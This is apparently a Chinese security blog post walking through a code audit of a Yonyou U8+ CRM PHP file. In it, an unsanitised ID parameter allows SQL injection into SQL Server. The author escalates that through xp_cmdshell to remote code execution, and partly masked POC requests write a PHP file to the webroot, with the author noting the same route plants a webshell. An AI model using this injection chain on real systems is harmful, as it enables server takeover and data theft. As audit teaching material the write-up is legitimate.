概述
某友+CRM系统,bgt/xxxx.php/
文件,存在前台RCE漏洞,可以结合SQL语句执行命令从而getShell。
之前看到网上关于很多某友U8+CRM的漏洞披露,于是就找到朋友要到了这套源码,通过审计发现了一些比较有趣的点,由于漏洞暂时未披露状态,关键部分可能会进行模糊处理,主要是分享一下自己代码审计的过程,希望各位大佬理解,小弟不才,勿喷/(ㄒoㄒ)/~~,文章也会涉及一些比较基础的漏洞原理,方便各大读者理解
RCE原理
RCE(Remote Code Execution,远程代码执行)漏洞是指攻击者能够在目标系统上远程执行任意代码的安全漏洞。通过该漏洞,攻击者可以利用特定的输入或请求,在受害系统上执行恶意代码,从而控制服务器、窃取数据、安装恶意软件,甚至使系统崩溃。
RCE漏洞通常出现在未正确验证或过滤用户输入的应用程序中,比如在处理用户输入时直接执行输入的代码。常见的例子包括不安全的代码注入(如命令注入、SQL注入)、漏洞利用中的缓冲区溢出等。
危险函数
这里我以PHP为例,列举一些比较常见的危险函数,其实还有很多危险函数,我就不一一列举了,如果记不起来了可以去网上或者自己的笔记里面翻一翻关于PHP命令执行的危险函数,再结合全局搜索去找代码中可能产生的漏洞点,但是这里是个特例,因为这套源码默认的数据库是SQLServer,那么我们是不是可以通过执行SQL语句,从而利用xp_cmdshell执行我们想要的命令呢?那么关于SQL注入的漏洞点就是寻找一些可控的变量传参了,接下来会讲到
eval()
exec()
system()
popen()
shell_exec()
xp_cmdshell概述
我们先来了解一下xp_cmdshell的概念:
xp_cmdshell
是 Microsoft SQL Server 中的一个扩展存储过程,它允许直接在操作系统中执行命令行命令。通过 xp_cmdshell
,用户可以执行如文件管理、网络查询、程序调用等命令,这在管理员操作数据库时可能会非常有用。然而,它也带来了一定的安全风险,尤其是在恶意攻击者能够通过 SQL 注入等手段调用该功能时,可能会造成服务器的完全控制。
分析代码架构
1、其实在代码审计之前,我个人的习惯是先了解一遍路由规则,我审计的时候会先把源码的环境给搭建起来,或者去公网上找一些不那么重要的资产测试,然后通过Burpsuite等工具抓包分析它的流量路由走向,因为每一套源码的路由规则基本都不大相同,如果了解代码的路由规则可能对后面的审计会好很多(个人看法,并不代表所有人),这里我就不展示如何去了解路由规则了,比较繁琐,方法有很多,适合自己就好
2、那我们现在就定位到某友的漏洞源码文件,关键漏洞代码如下:
<?
$UserSessionID='bgsessrecvsms\-'.str\_replace('.','-',$svr);
@unlink(session\_save\_path()."/sess\_$UserSessionID");
$DontCheckLogin = true;
$DontValidateSite = true;
set\_time\_limit(0);
include\_once("tglobal.lib");
crm\_include('lib/tsmssendreciever.lib');
include\_once ("tlogin\_u8\_dbinfo.lib");
$dbinfo = new LoginU8DbInfo();
$cDatabases =$dbinfo\->getU8DBInfo();
foreach($cDatabases as $cDatabase)
{
$gblObj = TGBL\_getObject();
$gblObj\->clearDataCache();
$errno = $gblObj\->LoginWithUser($cDatabase);
if(!$errno)
{
$dir = $gblObj\->getCacheDir(false);
$dir = str\_replace("org0/","bgttasksvr.log",$dir);
file\_put\_contents($dir,$errno." connString=".$cDatabase\-
\>connString."\\n\\r",FILE\_APPEND);
continue;
}
//include\_once('crmdebug.lib');
$sender = new TSmsSenderReciever();
//$debug = new CrmDebug();
//$debug\->debug("Recieving SMS",1);
$accountIds = array();
$orgArr = $sender\->Recieve($accountIds);
$curtime = time();
$nexttime = $curtime+60;
$timestr = date('Y\-m\-d H:i:s',$nexttime);
$sql = 'UPDATE tc\_background\_task SET plan\_start\_time='.$gblDB\-
\>TDB\_ToDateByString($timestr).' WHERE bg\_task\_id='.$ID;
$gblDB\->execute($sql);
// Set next scan time
$sql = 'SELECT bg\_server\_ip FROM tc\_background\_task WHERE bg\_task\_id='.$ID;
$rs = $gblDB\->query($sql);
if ($rs){
if ($rs\->fetchRecord()){
$svr = $rs\->getFieldValueByName('bg\_server\_ip');
}
$rs\->close();
}
if (!isEmptyString($svr)){
$fp = @fsockopen($svr,$gblObj\->getBGPort(),$errno,$errstr,1);
if ($fp){
$str = TDatadictCache::PreSendInt(5);
$str .= TDatadictCache::PreSendStr('0');
$str .= TDatadictCache::PreSendStr($ID.'');
$str .= TDatadictCache::PreSendInt(1);
$str .= TDatadictCache::PreSendLong($nexttime);
$str .= TDatadictCache::PreSendStr('/background/recievesms.php?
ID='.$ID);
fwrite($fp,$str,strlen($str));
fclose($fp);
}
else
{
$sql = "UPDATE tc\_background\_task SET bg\_server\_ip='' WHERE
bg\_task\_id=".$ID;
$gblDB\->execute($sql);
}
}
createSmsRemind($accountIds);
}
function createSmsRemind($accountIds)
{
global $gblDB;
if(count($accountIds))
{
$stmt = new TSQLStmt();
$stmt\->Table("tc\_sms\_account","u");
$stmt\->Select("u","owner\_user\_id");
$stmt\->Select("u","create\_user\_id");
$stmt\->CondInByArr("u","smsacc\_id",$accountIds);
$sql = $stmt\->SQLGen();
$rs = $gblDB\->Query($sql);
$ids = array();
$accountIds = array();
if($rs)
{
while($rs\->fetchRecord())
{
$ids\[\] = $rs\->getFieldValueByName("owner\_user\_id");
$ids\[\] = $rs\->getFieldValueByName("create\_user\_id");
}
$rs\->close();
}
$stmt = new TSQLStmt();
$stmt\->Table("rel\_sms\_account\_used\_user","u");
$stmt\->Select("u","user\_id");
$stmt\->CondInByArr("u","smsacc\_id",$accountIds);
$sql = $stmt\->SQLGen();
$rs = $gblDB\->Query($sql);
if($rs)
{
while($rs\->fetchRecord())
{
$ids\[\] = $rs\->getFieldValueByName("user\_id");
}
$rs\->close();
}
}
if(count($ids))
{
$idsArr = array\_unique($ids);
$objType = OBJ\_USER;
foreach($idsArr as $key=\>$uid)
{
$do = new TDataObject();
$do\->UserID = $uid;
$do\->Reminder = 1;
$do\->RemindToDeskTop = 1;
$do\->RemindToEmail = 0;
$do\->RemindToSMS = 0;
$do\->AssignedToID = $do\->UserID;
$errno = TReminder::deleteRemindObject(0, $objType, $do\->ID,
REMIND\_TYPE\_SMS);
if ($errno \> 0)
throw new TDBException($errno);
$rmdrObj = new TReminderObject($objType, $do\->UserID, "",
REMIND\_TYPE\_SMS);
$rmdrObj\->Subject = 'New sms!';
$rmdrObj\->AddPerson(OBJ\_USER, $do\->UserID, "", $do\->RemindToDeskTop,
$do\->RemindToEmail, $do\->RemindToSMS);
$errno = TReminder::saveReminder($rmdrObj, 0);
}
}
}
?>
这段代码的逻辑主要涉及从短信接收服务器接收消息,并更新数据库任务的计划开始时间,同时处理相关用户的提醒
会话处理:
设置用户会话ID,并根据服务器地址替换点号为短横线。
删除与该会话ID相关的旧会话文件。
库文件包含:
包含必要的库文件以进行数据库操作和短信处理。
数据库连接:
创建 LoginU8DbInfo 实例并获取数据库信息。
循环遍历每个数据库,尝试登录,并清除数据缓存。
短信接收:
创建 TSmsSenderReciever 实例,接收短信并将接收到的账户ID存储在 $accountIds 数组中。
时间更新:
获取当前时间并计算下一次扫描的时间,生成格式化字符串。
更新数据库中的任务计划开始时间。
获取服务器IP:
查询数据库以获取与任务ID相关的服务器IP。
尝试通过 fsockopen 连接到服务器,如果成功,则发送消息。
发送消息:
构建消息字符串,发送到接收短信的 PHP 脚本。
如果无法连接,则清空数据库中相关任务的服务器IP。
创建短信提醒:
调用 createSmsRemind 函数,传递账户ID数组。
在该函数中,查询数据库以获取账户的拥有者和创建者ID,并确保这些ID唯一。
为每个用户创建短信提醒对象,并保存到数据库。
异常处理:
在创建提醒时,如果出现错误,会抛出异常。
总结来说,这段代码主要用于接收短信,更新相关任务的计划时间,并为相关用户创建提醒,确保他们在系统中获得及时的通知,读懂代码逻辑会方便我们对代码更好的理解和审计
这里就是问题代码所在的部分
$sql = 'UPDATE tc_background_task SET plan_start_time='.$gblDB->TDB_ToDateByString($timestr).' WHERE bg_task_id='.$ID;
$ID 是从用户输入获得的,并且没有进行任何处理或验证,那么就可以构造类似 ?ID=1;WAITFOR+DELAY+%270:0:1%27;--+%27 的输入,利用 SQL 注入漏洞
看到这里可以直接构造语句:/xxx/xxxx?ID=1;WAITFOR+DELAY+%270:0:1%27;--+%27
在/xxx/xxxx.php 文件中,我们可以看一下源码
根据某友的架构分析可以得知,ID参数是可以通过GET请求传进来的。
可以分析到,ID参数没有过滤直接拼接到$sql语句里面,接着就将$sql传给了 execute函数。
因为某友默认数据库是sqlserver,execute就可以造成 xp_cmdshell的代码执行漏洞。只需要拼接ID参数就可以实现
$sql = 'UPDATE tc\_background\_task SET plan\_start\_time='.$gblDB-
\>TDB\_ToDateByString($timestr).' WHERE bg\_task\_id='.$ID;
$gblDB->execute($sql);
这段代码的功能是更新数据库中名为 tc_background_task 的表。具体来说,它将表中某个特定任务(根据 bg_task_id 找到的任务)的 plan_start_time 字段更新为 $timestr 转换成的日期格式。执行这个更新操作的语句由 $gblDB->execute($sql) 执行
构造POC包(漏洞复现)
POC1
GET /xxx/xxxxx.php?ID\=xxxx;exec%20xxxxxx\_xxxxxx%20%27echo%20%5E%3C?php%20echo(%22hello%22);?%5E%3E%20%3E%20D:%5CU8SOFT%5Cturbocrm70%5Ccode%5Cwww%5Cxxx.php%27; HTTP/1.1
Host: xxxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q\=0.8,application/signed-exchange;v\=b3;q\=0.7Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q\=0.9
Cookie: PHPSESSID\=bgsessss-
Connection: close
POC1的response如下
直接访问URL+文件名,可以看到我们的命令执行成功,能够看到xxx.php解析成功 为输出的hello,同样可以写马,拿到服务器权限。
总结
其实我感觉耐心审计的话都能发现该漏洞,主要是分享一下自己的审计过程,很多地方也不是特别熟练,经常看到网上一些关于大佬审计SQL注入和RCE等漏洞的思路感觉很有趣,然后自己也去琢磨学习一些PHP的特性以及SQL语法,方便对漏洞的原理更加了解,其实之前也没有想到通过这种SQL注入的方式从而去实现RCE的效果,通过不断看网上的文章和微信公众号,然后观察一些大佬挖掘漏洞的思路和漏洞分析文章,做笔记学习,其实还有很多处具有漏洞,后面再慢慢研究吧,平时不懂就会询问自己的朋友们或者同事,给自己积累了不少经验和技巧,希望能通过不断交流学到更多有关于代码审计的知识,也欢迎各位大佬交流学习,同时记录一下自己有趣的一次审计过程吧,这次就当作一次审计小练习,继续加油!